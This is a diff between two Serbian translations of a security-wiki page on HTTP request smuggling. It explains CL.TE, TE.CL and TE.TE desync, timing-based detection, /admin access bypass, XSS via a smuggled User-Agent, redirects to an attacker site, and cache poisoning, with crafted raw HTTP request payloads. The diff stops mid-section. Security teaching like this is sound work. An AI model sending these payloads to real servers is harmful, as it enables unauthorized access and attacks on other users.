Kada pokušavate da iskoristite ovo sa Burp Suite **onemogućite `Update Content-Length` i `Normalize HTTP/1 line endings`** u repeateru jer neki uređaji zloupotrebljavaju nove redove, povratne znakove i neispravne dužine sadržaja.
|
||||
Kada pokušavate da iskoristite ovo sa Burp Suite **onemogućite `Update Content-Length` i `Normalize HTTP/1 line endings`** u repeater-u jer neki uređaji zloupotrebljavaju nove linije, povratne znakove i neispravne dužine sadržaja.
|
||||
{% endhint %}
|
||||
|
||||
Napadi HTTP zahtevom za desinhronizaciju se kreiraju slanjem nejasnih zahteva koji iskorišćavaju razlike u tome kako front-end i back-end serveri tumače `Content-Length` (CL) i `Transfer-Encoding` (TE) zaglavlja. Ovi napadi mogu se manifestovati u različitim oblicima, pretežno kao **CL.TE**, **TE.CL** i **TE.TE**. Svaki tip predstavlja jedinstvenu kombinaciju prioriteta koje front-end i back-end serveri daju ovim zaglavljima. Ranjivosti nastaju kada serveri obrađuju isti zahtev na različite načine, što dovodi do neočekivanih i potencijalno zlonamernih ishoda.
|
||||
Napadi HTTP zahtevom za desinhronizaciju se kreiraju slanjem nejasnih zahteva koji iskorišćavaju razlike u tome kako front-end i back-end serveri tumače `Content-Length` (CL) i `Transfer-Encoding` (TE) zaglavlja. Ovi napadi mogu se manifestovati u različitim oblicima, pretežno kao **CL.TE**, **TE.CL** i **TE.TE**. Svaki tip predstavlja jedinstvenu kombinaciju prioriteta koje front-end i back-end serveri daju ovim zaglavlja. Ranjivosti nastaju kada serveri obrađuju isti zahtev na različite načine, dovodeći do neočekivanih i potencijalno zlonamernih ishoda.
|
||||
|
||||
### Osnovni Primeri Tipova Ranjivosti
|
||||
|
||||
|
@ -66,7 +66,7 @@ Napadi HTTP zahtevom za desinhronizaciju se kreiraju slanjem nejasnih zahteva ko
|
|||
* **Scenario Napada:**
|
||||
* Napadač šalje zahtev gde vrednost `Content-Length` zaglavlja ne odgovara stvarnoj dužini sadržaja.
|
||||
* Front-end server prosleđuje ceo zahtev back-end serveru, na osnovu vrednosti `Content-Length`.
|
||||
* Back-end server obrađuje zahtev kao chunked zbog `Transfer-Encoding: chunked` zaglavlja, tumačeći preostale podatke kao zaseban, naknadni zahtev.
|
||||
* Back-end server obrađuje zahtev kao chunked zbog `Transfer-Encoding: chunked` zaglavlja, tumačeći preostale podatke kao odvojen, naknadni zahtev.
|
||||
* **Primer:**
|
||||
|
||||
```
|
||||
|
@ -109,12 +109,12 @@ x=
|
|||
0
|
||||
|
||||
```
|
||||
#### TE.TE Vulnerabilnost (Transfer-Encoding korišćen od strane oba, sa obfuscacijom)
|
||||
#### TE.TE Vulnerability (Transfer-Encoding korišćen od strane oba, sa obfuscacijom)
|
||||
|
||||
* **Serveri:** Oba podržavaju `Transfer-Encoding`, ali jedan može biti prevaren da ga ignoriše putem obfuscacije.
|
||||
* **Scenario napada:**
|
||||
* Napadač šalje zahtev sa obfuscated `Transfer-Encoding` zaglavljima.
|
||||
* Zavisno od toga koji server (prednji ili zadnji) ne uspe da prepozna obfuscaciju, može se iskoristiti CL.TE ili TE.CL vulnerabilnost.
|
||||
* Napadač šalje zahtev sa obfuskovanim `Transfer-Encoding` zaglavljima.
|
||||
* Zavisno o tome koji server (prednji ili zadnji) ne uspe da prepozna obfuskaciju, može se iskoristiti CL.TE ili TE.CL ranjivost.
|
||||
* Neobrađeni deo zahteva, viđen od strane jednog od servera, postaje deo narednog zahteva, što dovodi do krijumčarenja.
|
||||
* **Primer:**
|
||||
|
||||
|
@ -135,7 +135,7 @@ Transfer-Encoding
|
|||
: chunked
|
||||
```
|
||||
|
||||
#### **CL.CL Scenario (Content-Length korišćen od strane oba prednjeg i zadnjeg dela):**
|
||||
#### **CL.CL Scenario (Content-Length korišćen od strane oba prednji i zadnji deo):**
|
||||
|
||||
* Oba servera obrađuju zahtev isključivo na osnovu zaglavlja `Content-Length`.
|
||||
* Ovaj scenario obično ne dovodi do krijumčarenja, jer postoji usklađenost u tome kako oba servera tumače dužinu zahteva.
|
||||
|
@ -165,23 +165,29 @@ Connection: keep-alive
|
|||
Telo sa sadržajem
|
||||
```
|
||||
|
||||
#### Forsiranje putem zaglavlja hop-by-hop
|
||||
#### Razbijanje veb servera
|
||||
|
||||
Zloupotrebom zaglavlja hop-by-hop možete ukazati proksi da **obriše zaglavlje Content-Length ili Transfer-Encoding kako bi bilo moguće zloupotrebiti HTTP zahtev krijumčarenjem**.
|
||||
Ova tehnika je takođe korisna u scenarijima gde je moguće **pokvariti veb server dok se čita početni HTTP podaci** ali **bez zatvaranja konekcije**. Na ovaj način, **telo** HTTP zahteva će biti smatrano **narednim HTTP zahtevom**.
|
||||
|
||||
Na primer, kako je objašnjeno u [**ovom objašnjenju**](https://mizu.re/post/twisty-python), u Werkzeug-u je bilo moguće poslati neke **Unicode** karaktere i to će naterati server da se **pokvari**. Međutim, ako je HTTP konekcija uspostavljena sa zaglavljem **`Connection: keep-alive`**, telo zahteva neće biti pročitano i konekcija će i dalje biti otvorena, tako da će se **telo** zahteva smatrati **narednim HTTP zahtevom**.
|
||||
|
||||
#### Forsiranje putem hop-by-hop zaglavlja
|
||||
|
||||
Zloupotrebom hop-by-hop zaglavlja možete ukazati proksiju da **obriše zaglavlje Content-Length ili Transfer-Encoding tako da je moguće zloupotrebiti HTTP zahtev krijumčarenjem**.
|
||||
```
|
||||
Connection: Content-Length
|
||||
```
|
||||
Za **više informacija o zaglavlja koja se prenose hop-by-hop** posetite:
|
||||
Za **više informacija o zaglavlja korak-po-korak** posetite:
|
||||
|
||||
{% content-ref url="../abusing-hop-by-hop-headers.md" %}
|
||||
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Pronalaženje HTTP zahteva za krijumčarenje
|
||||
## Pronalaženje Ranjivosti HTTP zahteva za krijumčarenje
|
||||
|
||||
Identifikacija ranjivosti na HTTP zahtev za krijumčarenje često se može postići korišćenjem tehnika vremena, koje se oslanjaju na posmatranje koliko dugo serveru treba da odgovori na manipulisane zahteve. Ove tehnike su posebno korisne za otkrivanje ranjivosti CL.TE i TE.CL. Pored ovih metoda, postoje i druge strategije i alati koji se mogu koristiti za pronalaženje takvih ranjivosti:
|
||||
Identifikacija ranjivosti HTTP zahteva za krijumčarenje često se može postići korišćenjem tehnika vremena, koje se oslanjaju na posmatranje koliko dugo serveru treba da odgovori na manipulisane zahteve. Ove tehnike su posebno korisne za otkrivanje CL.TE i TE.CL ranjivosti. Pored ovih metoda, postoje i druge strategije i alati koji se mogu koristiti za pronalaženje takvih ranjivosti:
|
||||
|
||||
### Pronalaženje ranjivosti CL.TE korišćenjem tehnika vremena
|
||||
### Pronalaženje CL.TE Ranjivosti Korišćenjem Tehnika Vremena
|
||||
|
||||
* **Metod:**
|
||||
* Pošaljite zahtev koji će, ako je aplikacija ranjiva, naterati serversku stranu da čeka na dodatne podatke.
|
||||
|
@ -200,12 +206,12 @@ A
|
|||
```
|
||||
* **Posmatranje:**
|
||||
* Prednja serverska strana obrađuje zahtev na osnovu `Content-Length` i prekida poruku prerano.
|
||||
* Serverska strana, očekujući poruku u blokovima, čeka sledeći blok koji nikada ne stiže, uzrokujući kašnjenje.
|
||||
* Zadnja serverska strana, očekujući poruku u blokovima, čeka sledeći blok koji nikada ne stiže, uzrokujući kašnjenje.
|
||||
* **Indikatori:**
|
||||
* Vremenska odlaganja ili dugotrajna kašnjenja u odgovoru.
|
||||
* Primanje greške 400 Bad Request od serverske strane, ponekad sa detaljnim informacijama o serveru.
|
||||
* Istek vremena ili dugotrajna kašnjenja u odgovoru.
|
||||
* Primanje greške 400 Bad Request od zadnje serverske strane, ponekad sa detaljnim informacijama o serveru.
|
||||
|
||||
### Pronalaženje ranjivosti TE.CL korišćenjem tehnika vremena
|
||||
### Pronalaženje TE.CL Ranjivosti Korišćenjem Tehnika Vremena
|
||||
|
||||
* **Metod:**
|
||||
* Pošaljite zahtev koji će, ako je aplikacija ranjiva, naterati serversku stranu da čeka na dodatne podatke.
|
||||
|
@ -223,40 +229,40 @@ X
|
|||
```
|
||||
* **Posmatranje:**
|
||||
* Prednja serverska strana obrađuje zahtev na osnovu `Transfer-Encoding` i prosleđuje celu poruku.
|
||||
* Serverska strana, očekujući poruku na osnovu `Content-Length`, čeka na dodatne podatke koji nikada ne stižu, uzrokujući kašnjenje.
|
||||
* Zadnja serverska strana, očekujući poruku na osnovu `Content-Length`, čeka na dodatne podatke koji nikada ne stižu, uzrokujući kašnjenje.
|
||||
|
||||
### Druge metode za pronalaženje ranjivosti
|
||||
### Druge Metode za Pronalaženje Ranjivosti
|
||||
|
||||
* **Analiza diferencijalnog odgovora:**
|
||||
* Pošaljite blago varijante zahteva i posmatrajte da li se odgovori servera razlikuju na neočekivan način, što ukazuje na neslaganje u parsiranju.
|
||||
* **Korišćenje automatizovanih alata:**
|
||||
* **Korišćenje Automatizovanih Alata:**
|
||||
* Alati poput Burp Suite-ovog dodatka 'HTTP Request Smuggler' mogu automatski testirati ove ranjivosti slanjem različitih oblika nejasnih zahteva i analiziranjem odgovora.
|
||||
* **Testovi varijacije Content-Length:**
|
||||
* Pošaljite zahteve sa različitim vrednostima `Content-Length` koje nisu usklađene sa stvarnom dužinom sadržaja i posmatrajte kako server obrađuje takve neslaganja.
|
||||
* **Testovi varijacije Transfer-Encoding:**
|
||||
* Pošaljite zahteve sa zamućenim ili neispravnim zaglavljima `Transfer-Encoding` i pratite kako prednja i serverska strana reaguju na takve manipulacije.
|
||||
* Pošaljite zahteve sa zamućenim ili neispravnim zaglavljima `Transfer-Encoding` i pratite kako prednja i zadnja serverska strana reaguju na takve manipulacije.
|
||||
|
||||
### Testiranje ranjivosti HTTP zahteva za krijumčarenje
|
||||
### Testiranje Ranjivosti HTTP zahteva za krijumčarenje
|
||||
|
||||
Nakon potvrde efikasnosti tehnika vremena, ključno je proveriti da li se klijentski zahtevi mogu manipulisati. Jednostavan metod je pokušati otrovati vaše zahteve, na primer, tako što će zahtev ka `/` rezultirati odgovorom 404. Primeri `CL.TE` i `TE.CL` koji su prethodno razmatrani u [Osnovni primeri](./#basic-examples) pokazuju kako otrovati klijentov zahtev kako bi izazvali odgovor 404, iako klijent pokušava pristupiti drugom resursu.
|
||||
Nakon potvrde efikasnosti tehnika vremena, ključno je verifikovati da li se klijentski zahtevi mogu manipulisati. Jednostavan metod je pokušati otrovati vaše zahteve, na primer, tako što će zahtev za `/` rezultirati odgovorom 404. Primeri `CL.TE` i `TE.CL` koji su prethodno razmatrani u [Osnovnim Primerima](./#basic-examples) pokazuju kako otrovati klijentov zahtev da izazove odgovor 404, iako klijent pokušava pristupiti drugom resursu.
|
||||
|
||||
**Ključne razmatranja**
|
||||
**Ključne Razmatranja**
|
||||
|
||||
Prilikom testiranja ranjivosti zahteva za krijumčarenje mešanjem sa drugim zahtevima, imajte na umu:
|
||||
|
||||
* **Različite mrežne veze:** "Napad" i "normalni" zahtevi treba da se šalju preko odvojenih mrežnih veza. Korišćenje iste veze za oba ne potvrđuje prisustvo ranjivosti.
|
||||
* **Konstantne URL adrese i parametri:** Ciljajte da koristite identične URL adrese i imena parametara za oba zahteva. Moderne aplikacije često rutiraju zahteve ka određenim serverskim stranama na osnovu URL adresa i parametara. Podudaranje ovih povećava verovatnoću da će oba zahteva biti obrađena od strane istog servera, što je preduslov za uspešan napad.
|
||||
* **Vremenski uslovi i trke:** "Normalni" zahtev, namenjen otkrivanju mešanja sa "napadnim" zahtevom, takmiči se sa drugim istovremenim zahtevima aplikacije. Stoga, pošaljite "normalni" zahtev odmah nakon "napadnog" zahteva. Zauzete aplikacije mogu zahtevati više pokušaja za potvrdu ranjivosti.
|
||||
* **Izazovi balansiranja opterećenja:** Prednje serverske strane koje deluju kao balanseri opterećenja mogu distribuirati zahteve ka različitim serverskim sistemima. Ako "napadni" i "normalni" zahtevi završe na različitim sistemima, napad neće uspeti. Ovaj aspekt balansiranja opterećenja može zahtevati više pokušaja za potvrdu ranjivosti.
|
||||
* **Neželjeni uticaj na korisnike:** Ako vaš napad nenamerno utiče na zahtev drugog korisnika (ne "normalni" zahtev koji ste poslali radi otkrivanja), to ukazuje da je vaš napad uticao na drugog korisnika aplikacije. Kontinuirano testiranje može poremetiti druge korisnike, zahtevajući oprezan pristup.
|
||||
* **Različite Mrežne Veze:** "Napadni" i "normalni" zahtevi trebaju biti poslati preko odvojenih mrežnih veza. Korišćenje iste veze za oba ne potvrđuje prisustvo ranjivosti.
|
||||
* **Konstantne URL adrese i Parametri:** Ciljajte da koristite identične URL adrese i imena parametara za oba zahteva. Moderne aplikacije često rutiraju zahteve ka specifičnim zadnjim serverskim stranama na osnovu URL adresa i parametara. Podudaranje ovih povećava verovatnoću da će oba zahteva biti obrađena od strane istog servera, što je preduslov za uspešan napad.
|
||||
* **Vremenski i Trkački Uslovi:** "Normalni" zahtev, namenjen otkrivanju mešanja sa "napadnim" zahtevom, takmiči se sa drugim istovremenim zahtevima aplikacije. Stoga, pošaljite "normalni" zahtev odmah nakon "napadnog" zahteva. Zauzete aplikacije mogu zahtevati više pokušaja za potvrdu ranjivosti.
|
||||
* **Izazovi Balansiranja Opterećenja:** Prednje serverske strane koje deluju kao balanseri opterećenja mogu distribuirati zahteve ka različitim zadnjim sistemima. Ako "napadni" i "normalni" zahtevi završe na različitim sistemima, napad neće uspeti. Ovaj aspekt balansiranja opterećenja može zahtevati više pokušaja za potvrdu ranjivosti.
|
||||
* **Neželjeni Uticaj na Korisnike:** Ako vaš napad nenamerno utiče na zahtev drugog korisnika (ne "normalni" zahtev koji ste poslali radi detekcije), to ukazuje da je vaš napad uticao na drugog korisnika aplikacije. Kontinuirano testiranje može poremetiti druge korisnike, zahtevajući oprezan pristup.
|
||||
|
||||
## Zloupotreba HTTP zahteva za krijumčarenje
|
||||
|
||||
### Obilaženje sigurnosnih mera prednje strane putem HTTP zahteva za krijumčarenje
|
||||
### Obilaženje Bezbednosti Prednje Strane putem HTTP zahteva za krijumčarenje
|
||||
|
||||
Ponekad, prednji proksi sprovode sigurnosne mere, analizirajući dolazne zahteve. Međutim, ove mere mogu biti zaobiđene iskorišćavanjem HTTP zahteva za krijumčarenje, omogućavajući neovlašćen pristup ograničenim krajnjim tačkama. Na primer, pristup `/admin` može biti zabranjen spolja, pri čemu prednji proksi aktivno blokira takve pokušaje. Ipak, ovaj proksi može zanemariti inspekciju ugnežđenih zahteva unutar krijumčarenog HTTP zahteva, ostavljajući rupu za zaobilaženje ovih ograničenja.
|
||||
Ponekad, prednji proksi sprovodi bezbednosne mere, analizirajući dolazne zahteve. Međutim, ove mere mogu biti zaobiđene iskorišćavanjem HTTP zahteva za krijumčarenje, omogućavajući neovlašćen pristup ograničenim krajnjim tačkama. Na primer, pristup `/admin` može biti zabranjen spolja, pri čemu prednji proksi aktivno blokira takve pokušaje. Ipak, ovaj proksi može propustiti da inspicira ugnežđene zahteve unutar krijumčarenog HTTP zahteva, ostavljajući rupu za zaobilaženje ovih ograničenja.
|
||||
|
||||
Razmotrite sledeće primere koji ilustruju kako se HTTP zahtevi za krijumčarenje mogu koristiti za obilaženje sigurnosnih kontrola prednje strane, ciljajući specifično putanju `/admin` koja je obično čuvana od strane prednjeg proksija:
|
||||
Razmotrite sledeće primere koji ilustruju kako se HTTP zahtevi za krijumčarenje mogu koristiti za obilaženje kontrola bezbednosti prednje strane, ciljajući specifično putanju `/admin` koja je obično čuvana od strane prednjeg proksija:
|
||||
|
||||
**Primer CL.TE**
|
||||
```
|
||||
|
@ -275,7 +281,7 @@ Content-Length: 10
|
|||
|
||||
x=
|
||||
```
|
||||
U CL.TE napadu, zaglavlje `Content-Length` se koristi za početni zahtev, dok ugneždeni zahtev koristi zaglavlje `Transfer-Encoding: chunked`. Prednji proxy obrađuje početni `POST` zahtev ali ne pregleda ugneždeni `GET /admin` zahtev, omogućavajući neovlašćen pristup putanji `/admin`.
|
||||
U napadu CL.TE, zaglavlje `Content-Length` se koristi za početni zahtev, dok ugneždeni zahtev koristi zaglavlje `Transfer-Encoding: chunked`. Prednji proxy obrađuje početni `POST` zahtev ali ne pregleda ugneždeni `GET /admin` zahtev, omogućavajući neovlašćen pristup putanji `/admin`.
|
||||
|
||||
**TE.CL Primer**
|
||||
```
|
||||
|
@ -297,7 +303,7 @@ Suprotno tome, u TE.CL napadu, početni `POST` zahtev koristi `Transfer-Encoding
|
|||
|
||||
### Otkrivanje prepravljanja zahteva na prednjoj strani <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
Aplikacije često koriste **prednji server** da izmeni dolazne zahteve pre prosleđivanja na serversku stranu. Tipična modifikacija uključuje dodavanje zaglavlja, poput `X-Forwarded-For: <IP klijenta>`, kako bi se prosledila IP adresa klijenta serverskoj strani. Razumevanje ovih modifikacija može biti ključno, jer može otkriti načine za **zaobilaženje zaštite** ili **otkrivanje skrivenih informacija ili krajnjih tačaka**.
|
||||
Aplikacije često koriste **prednji server** da modifikuju dolazne zahteve pre prosleđivanja na serversku stranu. Tipična modifikacija uključuje dodavanje zaglavlja, kao što je `X-Forwarded-For: <IP klijenta>`, kako bi se prosledila IP adresa klijenta serverskoj strani. Razumevanje ovih modifikacija može biti ključno, jer može otkriti načine za **zaobilaženje zaštite** ili **otkrivanje skrivenih informacija ili krajnjih tačaka**.
|
||||
|
||||
Da biste istražili kako proxy menja zahtev, pronađite POST parametar koji serverska strana vraća u odgovoru. Zatim, kreirajte zahtev, koristeći ovaj parametar na kraju, slično kao u sledećem primeru:
|
||||
```
|
||||
|
@ -316,11 +322,11 @@ Content-Length: 100
|
|||
|
||||
search=
|
||||
```
|
||||
U ovoj strukturi, naknadni delovi zahteva se dodaju nakon `search=`, koji je parametar koji se odražava u odgovoru. Ovo odražavanje će otkriti zaglavlja naknadnog zahteva.
|
||||
U ovoj strukturi, naknadni delovi zahteva se dodaju nakon `search=`, koji je parametar prikazan u odgovoru. Ovaj odraz će otkriti zaglavlja naknadnog zahteva.
|
||||
|
||||
Važno je uskladiti zaglavlje `Content-Length` ugnježdenog zahteva sa stvarnom dužinom sadržaja. Počevši od male vrednosti i postepeno je povećavajući je preporučljivo, jer preniska vrednost može skratiti odražene podatke, dok previsoka vrednost može uzrokovati grešku u zahtevu.
|
||||
Važno je uskladiti `Content-Length` zaglavlje ugnježdenog zahteva sa stvarnom dužinom sadržaja. Počevši od male vrednosti i postepeno je povećavajući je preporučljivo, jer preniska vrednost može skratiti odražene podatke, dok previsoka vrednost može izazvati grešku u zahtevu.
|
||||
|
||||
Ova tehnika se takođe može primeniti u kontekstu ranjivosti TE.CL, ali zahtev treba da se završi sa `search=\r\n0`. Bez obzira na znakove nove linije, vrednosti će se dodati parametru pretrage.
|
||||
Ova tehnika je takođe primenjiva u kontekstu ranjivosti TE.CL, ali zahtev treba da se završi sa `search=\r\n0`. Bez obzira na znakove nove linije, vrednosti će se dodati parametru pretrage.
|
||||
|
||||
Ovaj metod pretežno služi da se razumeju modifikacije zahteva koje je napravio prednji proxy, suštinski vršeći samostalnu istragu.
|
||||
|
||||
|
@ -354,14 +360,14 @@ Međutim, ova tehnika ima svoja ograničenja. Generalno, hvata podatke samo do g
|
|||
|
||||
Dodatno, važno je napomenuti da je ovaj pristup takođe izvodljiv sa ranjivošću TE.CL. U takvim slučajevima, zahtev bi trebalo da se završi sa `search=\r\n0`. Bez obzira na znakove nove linije, vrednosti će biti dodate parametru pretrage.
|
||||
|
||||
### Korišćenje HTTP zahteva za prokrijumčarenje radi iskorišćavanja reflektovanog XSS-a
|
||||
### Korišćenje HTTP zahteva za prokrijumčarenje radi iskorišćavanja reflektovanog XSS
|
||||
|
||||
HTTP zahtev za prokrijumčarenje može se iskoristiti za iskorišćavanje veb stranica koje su ranjive na **Reflektovani XSS**, nudeći značajne prednosti:
|
||||
|
||||
* Interakcija sa ciljnim korisnicima **nije potrebna**.
|
||||
* Omogućava iskorišćavanje XSS-a u delovima zahteva koji su **normalno nedostupni**, poput zaglavlja HTTP zahteva.
|
||||
* Interakcija sa ciljanim korisnicima **nije potrebna**.
|
||||
* Omogućava iskorišćavanje XSS u delovima zahteva koji su **normalno nedostupni**, poput zaglavlja HTTP zahteva.
|
||||
|
||||
U scenarijima gde je veb sajt podložan Reflektovanom XSS-u putem zaglavlja User-Agent, sledeći payload demonstrira kako iskoristiti ovu ranjivost:
|
||||
U scenarijima gde je veb sajt podložan Reflektovanom XSS putem zaglavlja User-Agent, sledeći payload demonstrira kako iskoristiti ovu ranjivost:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
||||
|
@ -382,17 +388,27 @@ Content-Type: application/x-www-form-urlencoded
|
|||
|
||||
A=
|
||||
```
|
||||
Ovaj payload je struktuiran da iskoristi ranjivost na sledeći način:
|
||||
Ova payload je strukturirana da iskoristi ranjivost na sledeći način:
|
||||
|
||||
1. Pokretanje `POST` zahteva, naizgled tipično, sa zaglavljem `Transfer-Encoding: chunked` kako bi označili početak smugglinga.
|
||||
1. Pokretanje `POST` zahteva, navodno tipičnog, sa zaglavljem `Transfer-Encoding: chunked` kako bi označili početak smugglinga.
|
||||
2. Nastavak sa `0`, označavajući kraj chunked tela poruke.
|
||||
3. Zatim se uvodi smuggled `GET` zahtev, gde je zaglavlje `User-Agent` injektovano skriptom, `<script>alert(1)</script>`, pokrećući XSS kada server obradi ovaj naredni zahtev.
|
||||
3. Zatim se uvodi smuggled `GET` zahtev, gde je zaglavlje `User-Agent` ubačeno sa skriptom, `<script>alert(1)</script>`, pokrećući XSS kada server obradi ovaj naknadni zahtev.
|
||||
|
||||
Manipulacijom `User-Agent`-a putem smugglinga, payload zaobilazi normalna ograničenja zahteva, iskorišćavajući tako ranjivost Reflected XSS na nekonvencionalan, ali efikasan način.
|
||||
|
||||
### Iskorišćavanje On-site Preusmeravanja sa HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
#### HTTP/0.9
|
||||
|
||||
Aplikacije često preusmeravaju sa jednog URL-a na drugi koristeći ime hosta iz zaglavlja `Host` u URL-u preusmeravanja. Ovo je često kod web servera poput Apache i IIS. Na primer, zahtevanje foldera bez kosa crta na kraju rezultuje preusmeravanjem koje uključuje kosu crtu:
|
||||
{% hint style="danger" %}
|
||||
U slučaju da korisnički sadržaj bude reflektovan u odgovoru sa **`Content-type`** kao što je **`text/plain`**, sprečavajući izvršenje XSS-a. Ako server podržava **HTTP/0.9, možda je moguće zaobići ovo**!
|
||||
{% endhint %}
|
||||
|
||||
Verzija HTTP/0.9 je prethodila verziji 1.0 i koristi samo **GET** glagole i **ne** odgovara sa **zaglavljima**, već samo telom.
|
||||
|
||||
U [**ovom writeup-u**](https://mizu.re/post/twisty-python), ovo je zloupotrebljeno sa zahtevom za smuggling i **ranjivim endpointom koji će odgovoriti sa unosom korisnika** kako bi se prokrijumčario zahtev sa HTTP/0.9. Parametar koji će biti reflektovan u odgovoru sadržava **lažni HTTP/1.1 odgovor (sa zaglavljima i telom)** tako da će odgovor sadržati validan izvršni JS kod sa `Content-Type`-om `text/html`.
|
||||
|
||||
### Iskorišćavanje On-site Preusmerenja sa HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
Aplikacije često preusmeravaju sa jednog URL-a na drugi koristeći ime hosta iz `Host` zaglavlja u URL-u preusmerenja. Ovo je uobičajeno kod web servera poput Apache i IIS. Na primer, zahtevanje fascikle bez kosa crta na kraju rezultuje preusmeravanjem da uključi kosu crtu:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: normal-website.com
|
||||
|
@ -402,7 +418,7 @@ Rezultati su:
|
|||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://normal-website.com/home/
|
||||
```
|
||||
Iako na prvi pogled bezopasno, ovaj postupak može biti manipulisan korišćenjem HTTP zahteva za krijumčarenje kako bi se korisnici preusmerili na spoljni sajt. Na primer:
|
||||
Iako naizgled bezopasno, ovaj ponašanje može biti manipulisan korišćenjem HTTP zahteva za krijumčarenje kako bi se korisnici preusmerili na spoljni sajt. Na primer:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
|
@ -428,17 +444,17 @@ Rezultati su:
|
|||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://attacker-website.com/home/
|
||||
```
|
||||
U ovom scenariju, zahtev korisnika za JavaScript datotekom je otet. Napadač može potencijalno ugroziti korisnika posluživanjem zlonamernog JavaScript koda kao odgovora.
|
||||
U ovom scenariju, zahtev korisnika za JavaScript datotekom je otet. Napadač može potencijalno ugroziti korisnika posluživanjem zlonamernog JavaScript koda kao odgovor.
|
||||
|
||||
### Iskorišćavanje Trovanja Web Keša putem HTTP Zahteva Smuggling-a <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Trovanje web keša može biti izvršeno ako bilo koji deo **front-end infrastrukture kešira sadržaj**, obično radi poboljšanja performansi. Manipulacijom odgovora servera, moguće je **trovanje keša**.
|
||||
|
||||
Ranije smo primetili kako se odgovori servera mogu izmeniti da bi vratili grešku 404 (pogledajte [Osnovne Primere](./#basic-examples)). Slično tome, moguće je prevariti server da isporuči sadržaj `/index.html` kao odgovor na zahtev za `/static/include.js`. Kao rezultat, sadržaj `/static/include.js` se zamenjuje u kešu sa sadržajem `/index.html`, čineći `/static/include.js` nedostupnim korisnicima, potencijalno dovodeći do DoS (Denial of Service) napada.
|
||||
Ranije smo primetili kako se odgovori servera mogu promeniti da bi vratili grešku 404 (pogledajte [Osnovne Primere](./#basic-examples)). Slično tome, moguće je prevariti server da isporuči sadržaj `/index.html` kao odgovor na zahtev za `/static/include.js`. Kao rezultat, sadržaj `/static/include.js` se zamenjuje u kešu sa sadržajem `/index.html`, čineći `/static/include.js` nedostupnim korisnicima, što potencijalno može dovesti do DoS (Denial of Service) napada.
|
||||
|
||||
Ova tehnika postaje posebno moćna ako se otkrije **Ranjivost otvorenog preusmeravanja** ili ako postoji **preusmeravanje na otvoreno preusmeravanje na sajtu**. Takve ranjivosti mogu biti iskorišćene da bi se zamenio keš sadržaj `/static/include.js` skriptom pod kontrolom napadača, omogućavajući suštinski širok napad Cross-Site Scripting (XSS) protiv svih klijenata koji zahtevaju ažurirani `/static/include.js`.
|
||||
|
||||
U nastavku je prikaz iskorišćavanja **trovanja keša kombinovanog sa preusmeravanjem na otvoreno preusmeravanje na sajtu**. Cilj je izmeniti keš sadržaj `/static/include.js` da bi poslužio JavaScript kod pod kontrolom napadača:
|
||||
U nastavku je prikazano iskorišćavanje **trovanja keša u kombinaciji sa preusmeravanjem na otvoreno preusmeravanje na sajtu**. Cilj je promeniti keš sadržaj `/static/include.js` da posluži JavaScript kod koji kontroliše napadač:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable.net
|
||||
|
@ -456,20 +472,20 @@ Content-Length: 10
|
|||
|
||||
x=1
|
||||
```
|
||||
Primetite ugnježđeni zahtev usmeren ka `/post/next?postId=3`. Ovaj zahtev će biti preusmeren na `/post?postId=4`, koristeći vrednost **Host zaglavlja** da odredi domen. Menjanjem **Host zaglavlja**, napadač može preusmeriti zahtev na svoj domen (**unutrašnja preusmerenja na otvorena preusmerenja**).
|
||||
Primetite ugnežđeni zahtev usmeren ka `/post/next?postId=3`. Ovaj zahtev će biti preusmeren na `/post?postId=4`, koristeći **vrednost zaglavlja Host** da odredi domen. Menjanjem **zaglavlja Host**, napadač može preusmeriti zahtev na svoj domen (**unutrašnja preusmerenja na otvorena preusmerenja**).
|
||||
|
||||
Nakon uspešnog **trovanja soketa**, treba pokrenuti **GET zahtev** za `/static/include.js`. Ovaj zahtev će biti kontaminiran prethodnim zahtevom **unutrašnja preusmerenja na otvorena preusmerenja** i dohvatiti sadržaj skripte kojom upravlja napadač.
|
||||
|
||||
Nakon toga, svaki zahtev za `/static/include.js` će poslužiti keširani sadržaj skripte napadača, efikasno pokrećući širok XSS napad.
|
||||
|
||||
### Korišćenje HTTP zahteva za krijumčarenje kako bi se izvršila prevara veb keša <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
### Korišćenje HTTP zahteva za krijumčarenje kako bi se izveo prevarantni veb keš <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
> **Koja je razlika između trovanja veb keša i prevare veb keša?**
|
||||
> **Koja je razlika između trovanja veb keša i prevarantnog veb keša?**
|
||||
>
|
||||
> * U **trovanju veb keša**, napadač uzrokuje da aplikacija sačuva zlonamerni sadržaj u kešu, a ovaj sadržaj se servira iz keša drugim korisnicima aplikacije.
|
||||
> * U **prevari veb keša**, napadač uzrokuje da aplikacija sačuva neki osetljiv sadržaj koji pripada drugom korisniku u kešu, a zatim napadač preuzima taj sadržaj iz keša.
|
||||
> * U **trovanju veb keša**, napadač uzrokuje da aplikacija sačuva zlonamerni sadržaj u kešu, a ovaj sadržaj se poslužuje iz keša drugim korisnicima aplikacije.
|
||||
> * U **prevarantnom veb kešu**, napadač uzrokuje da aplikacija sačuva neki osetljivi sadržaj koji pripada drugom korisniku u kešu, a zatim napadač preuzima taj sadržaj iz keša.
|
||||
|
||||
Napadač oblikuje krijumčareni zahtev koji dohvaća osetljiv sadržaj specifičan za korisnika. Razmotrite sledeći primer:
|
||||
